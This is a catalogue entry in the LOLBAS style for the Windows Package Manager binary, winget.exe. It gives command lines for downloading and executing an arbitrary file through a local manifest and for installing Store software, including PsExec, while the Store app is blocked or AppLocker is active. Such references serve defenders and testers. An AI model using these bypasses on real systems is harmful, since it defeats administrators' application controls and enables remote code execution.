winget.exe

type: OSBinaries
Windows Package Manager tool

Full path

C:\Users\user\AppData\Local\Microsoft\WindowsApps\winget.exe

Commands

  1. ExecuteLocal Administrator - required to enable local manifest setting T1105

    Download and execute an arbitrary file from the internet

    winget.exe install --manifest {PATH:.yml}

    Downloads a file from the web address specified in .yml file and executes it on the system. Local manifest setting must be enabled in winget for it to work: winget settings --enable LocalManifestFiles

    os: Windows 10, Windows 11

    Execute: RemoteExecute: EXE

  2. DownloadUser T1105

    Download and install software from Microsoft Store, even if Microsoft Store App is blocked

    winget.exe install --accept-package-agreements -s msstore {name or ID}

    Download and install any software from the Microsoft Store using its name or Store ID, even if the Microsoft Store App itself is blocked on the machine. For example, use “Sysinternals Suite” or 9p7knl5rwt25 for obtaining ProcDump, PsExec via the Sysinternals Suite. Note: a Microsoft account is required for this.

    os: Windows 10, Windows 11

  3. AWL BypassUser T1105

    Download and install software from Microsoft Store, even if Microsoft Store App is blocked, and AppLocker is activated on the machine

    winget.exe install --accept-package-agreements -s msstore {name or ID}

    Download and install any software from the Microsoft Store using its name or Store ID, even if the Microsoft Store App itself is blocked on the machine, and even if AppLocker is active on the machine. For example, use “Sysinternals Suite” or 9p7knl5rwt25 for obtaining ProcDump, PsExec via the Sysinternals Suite. Note: a Microsoft account is required for this.

    os: Windows 10, Windows 11

Detection

Code samples

Resources

acknowledgement: Paul @saulpanders, Konrad 'unrooted' Klawikowski, Fredrik H. Brathen